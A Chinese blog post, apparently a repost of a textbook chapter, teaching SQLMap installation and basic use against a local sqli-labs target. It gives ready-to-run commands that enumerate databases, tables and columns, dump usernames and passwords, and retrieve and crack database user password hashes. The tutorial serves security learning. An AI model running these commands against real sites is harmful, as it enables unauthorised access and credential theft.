最新SQLMap安装与入门技术

news2024/11/18 22:45:46

SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMap内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下五种独特的SQL注入技术。

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要通过条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回页面中。

(4)联合查询注入,在可以使用Union的情况下的注入。

(5)堆查询注入,可以同时执行多条语句的注入。

SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

SQLMap的安装

SQLMap的安装需要Python环境(支持Python 2.6、Python 2.7、Python 3.x),本节使用的是Python 3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中(或者在安装时,勾选“Add Python to environment variables”选项,自动将Python加入环境变量),如图3-1所示。

在这里插入图片描述

从SQLMap官网下载最新版的SQLMap,打开cmd,输入命令“python sqlmap.py”,工具即可正常运行,如图3-2所示。

在这里插入图片描述

SQLMap入门

1.判断是否存在注入

假设目标注入点是http://10.211.55.6/Less-1/?id=1,用如下命令判断其是否存在注入:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1

结果显示存在注入,如图3-3所示。

在这里插入图片描述
注意,当注入点后面的参数大于等于两个时,需要加双引号,命令如下:

python sqlmap.py -u “http://10.211.55.6/Less-1/?id=1&uid=2”

运行上述命令后,Terminal终端上会“爆出”一大段信息,如图3-4所示。信息中有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否跳过并检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否继续检测其他参数,一般默认按回车键即可继续检测。

在这里插入图片描述

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从一个.txt文件中获取HTTP请求,这样就可以不设置其他参数(如Cookie、POST数据等)。.txt文件中的内容为Web数据包,如图3-5所示。

在这里插入图片描述
运行如下命令,判断是否存在注入:

python sqlmap.py –r 1.txt

运行后的结果如图3-6所示,参数“-r ”一般在存在Cookie注入时使用。

在这里插入图片描述

3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,命令如下:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --dbs

如果当前用户有权限读取包含所有数据库列表信息的表,则使用该命令即可列出所有数据库,如图3-7所示。

在这里插入图片描述从图3-7中可以看到,查询出了5个数据库。

继续注入时,将参数“–dbs”缩写成“-D xxx”,意思是在xxx数据库中继续查询其他数据。

4.获取数据库中的表名

该命令的作用是在查询完数据库后,查询指定数据库中所有的表名,命令如下:

python sqlmap.py -u “http://10.211.55.6/Less-1/?id=1” -D security --tables

如果不在该命令中加入参数“-D”来指定某一个具体的数据库,则SQLMap会列出数据库中所有库的表,如图3-8所示。

在这里插入图片描述
从图3-8中可以看出security数据库拥有的4个表名。继续注入时,将参数“–tables”缩写成“-T”,意思是在某个表中继续查询。

5.获取表中的字段名

该命令的作用是在查询完表名后,查询该表中所有的字段名,命令如下:

python sqlmap.py -u “http://10.211.55.6/Less-1/?id=1” -D security -T
users --columns

该命令的运行结果如图3-9所示。

在这里插入图片描述
从图3-9中可以看出,security数据库中的users表中一共有3个字段。在后续的注入中,将参数“–columns”缩写成“-C”,意思是获取指定列的数据。

6.获取字段内容

该命令的作用是在查询完字段名之后,获取该字段中具体的数据信息,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” –D security –T users –C username,password --dump

这里需要下载的数据是security数据库里users表中username和password的值,如图3-10所示。

在这里插入图片描述

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表时,使用该命令就可以列出所有管理用户,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --users

可以看出,当前用户账号是root,如图3-11所示。
在这里插入图片描述

8.获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取用户密码的权限,则SQLMap会先列举出用户,然后列出Hash,并尝试破解,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --passwords

从图3-12中可以看出,密码采用MySQL 5加密方式,可以在解密网站中自行解密。
在这里插入图片描述

9.获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --current-db

从图3-13中可以看出,数据库是security。

在这里插入图片描述

10.获取当前网站数据库的用户名称

使用该命令可以列出当前使用网站数据库的用户,命令如下:

python sqlmap.py –u “http://10.211.55.6/Less-1/?id=1” --current-user

从图3-14中可以看出,用户是root。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/928187.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网工内推 | 上市公司、国企招网工,五险一金,包吃包住

01 宁波领越智能设备有限公司 招聘岗位:网络工程师 职责描述: 1:负责集团内部网络运维安全管理工作和数据中心管理 2:挖掘和发现目前整体网络运行体系中存在的问题和不足,提出具体改进方案并推进实施。 3:…

uni-app-微信公众号静默授权

文章目录 前言一、onLoad钩子中调用二、使用步骤截取url中的code 前言 提示::公司的公众号用户,与后台系统的账号系统做绑定,用以推送消息 公众号自定义菜单直接链接到以下页面,进行静默授权,然后用户输入…

AIGC数据处理与存储解决方案

2023年数智中国AIGC科技周 AI云智上海专场在普陀区召开。活动以“智能涌现”、“算力突围”、“超越现实”三大篇章开启,第一篇章以“智能涌现”开幕、重塑数实融合终极愿景;第二篇章“算力突围”,以AI为引擎,以计算为基石&#x…

Java——一个简单的使用JPanel和JButton来设计窗口界面

这段代码是一个简单的使用JPanel和JButton来设计窗口界面的例子。 在designFrame方法中,创建了一个JFrame对象作为窗口,然后创建了两个JPanel对象作为面板,分别用于放置按钮。 创建了两个JButton对象作为按钮,并设置按钮的文本内容…

【谷粒商城】环境搭建一:Docker容器部署

Docker容器部署 VMware虚拟机安装 参考:VMware虚拟机安装Linux教程 Docker安装 Linux安装Docker # 1.更新apt包索引 sudo apt-get update# 2.安装以下包以使apt可以通过HTTPS使用存储库(repository) sudo apt-get install -y apt-transpor…

火狐渗透浏览器免安装版

火狐浏览器免安装版 📎网安火狐Firefox直接使用无需安装.zip 火狐浏览器设置代理,方便burp抓包 参考:burpsuite简单抓包教程_burpsuite抓包_Xiongcanne的博客-CSDN博客

从程序员进阶到架构师再到CTO,该如何破解焦虑?

引言 我们生活的时代,变化太快,许多人在职业发展的道路上都会面临焦虑与迷茫。这种焦虑源自我们内心的不安,也来自于外部形势的变化。 对于技术从业者来说,焦虑并不会随着职业发展而自动消失,不同职场阶段会面临不同的…

SSL/TLS协议的概念、工作原理、作用以及注意事项

个人主页:insist--个人主页​​​​​​ 本文专栏:网络基础——带你走进网络世界 本专栏会持续更新网络基础知识,希望大家多多支持,让我们一起探索这个神奇而广阔的网络世界。 目录 一、SSL/TLS协议的基本概念 二、SSL/TLS的工作…

VBA_MF系列技术资料1-167

MF系列VBA技术资料 为了让广大学员在VBA编程中有切实可行的思路及有效的提高自己的编程技巧,我参考大量的资料,并结合自己的经验总结了这份MF系列VBA技术综合资料,而且开放源码(MF04除外),其中MF01-04属于定…

苹果新健康专利:利用 iPhone、Apple Watch 来分析佩戴者的呼吸情况

根据美国商标和专利局(USPTO)公示的清单,苹果获得了一项健康相关的技术专利,可以利用 iPhone、Apple Watch 来分析佩戴者的呼吸系统。 苹果在专利中概述了一种测量用户呼吸功能的系统,通过 iPhone 上的光学感测单元&am…

前端需要理解的设计模式知识

设计模式的原则:1. 单一职责原则(一个对象或方法只做一件事) 2. 最少知识原则(尽可能少的实体或对象间互相作用) 3. 开放封闭原则(软件实体具有可扩展且不可修改) 设计模式是通过代码设计经验总…

2021年12月 C/C++(四级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题:移动路线 桌子上有一个m行n列的方格矩阵,将每个方格用坐标表示,行坐标从下到上依次递增,列坐标从左至右依次递增,左下角方格的坐标为(1,1),则右上角方格的坐标为(m,n)。 小明是个调皮的孩子,一天他捉来一只蚂蚁,不小心把蚂蚁的右脚弄伤了,于是蚂蚁只能向上或向右…

基于PIC单片机温度-脉搏-DS18B20温度-液晶12864显示(proteus仿真+源程序)

一、系统方案 1、上电初始化液晶第一行显示脉搏,第二行显示温度,第三行显示模式,第四行显示强度;按下K1按键可以选择模式,催眼模式或治疗模式。 2、治疗模块下,可以通过K2、K3修改强度。 二、硬件设计 原理…

探索数据湖中的巨兽:Apache Hive分布式SQL计算平台浅度剖析!

文章目录 ◆ Apache Hive 概述1.1 分布式SQL计算1.2 Hive的优势 ◆ 模拟实现Hive功能2.1 元数据管理2.2 解析器2.3 基础架构2.4 Hive架构 ◆ Hive基础架构3.1 Hive架构图3.2 Hive组件3.2.1 元数据存储3.2.2 Driver驱动程序3.2.3 用户接口 ◆ Hive部署4.1 VMware虚拟机部署步骤一…

SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr)

数字证书是网络世界中的身份证,数字证书为实现双方安全通信提供了电子认证。数字证书中含有密钥对所有者的识别信息,通过验证识别信息的真伪实现对证书持有者身份的认证。数字证书可以在网络世界中为互不见面的用户建立安全可靠的信任关系,这…

互联网医院成品功能你有哪些看法?

随着信息化的飞速发展,医疗领域信息化程度日益加深,医院对于信息化的自身需求越来越高,由此也推动了医院信息化的快速发展。而即时医疗信息服务能够解决普通老百姓医疗信息匮乏、花大钱看小病、就医不及时等基本问题。通过智能手机、平板电脑…

国内Android应用市场上线流程

国内各个Android应用市场的上线流程可能会有所不同,特别是在审核方面。此外,某些应用市场可能有一些特殊的政策和要求,您需要仔细阅读并遵循这些要求,以确保您的应用能够顺利上线并保持在市场上。在整个过程中,与市场的…

重磅丨《欧盟电池和废电池法规》最新发布!

《欧盟新电池法》 8月17日,欧盟官方公示满20天的《欧盟电池和废电池法规》(文中简称《新电池法》)将正式生效。 根据《新电池法》,自2027年起,动力电池出口到欧洲必须持有符合要求的“电池护照”,记录电池…

Spring与Mybatis集成且Aop整合(放飞双手,迅速完成CRUD及分页)

目录 一、概述 二、集成 ( 1 ) 为什么 ( 2 ) 优点 ( 3 ) 实例 三、整合 3.1 讲述 3.2 整合进行分页 带我们带来的收获 一、概述 集成是指将不同的组件、系统或框架整合在一起,使它们能够协同工作,共同完成某个功能或提供某种服务。在软件开发中&…

M1/M2打开Parallels Desktop提示“由于临界误差,不能启动虚拟机”解决办法

M1/M2安装Parallels Desktop 18.3.2PD虚拟机后,安装win11或者打开原有win系统提示由于临界误差,不能启动虚拟机。 解决方法: 很简单! 关闭系统SIP,重新安装PD18虚拟机激活即可。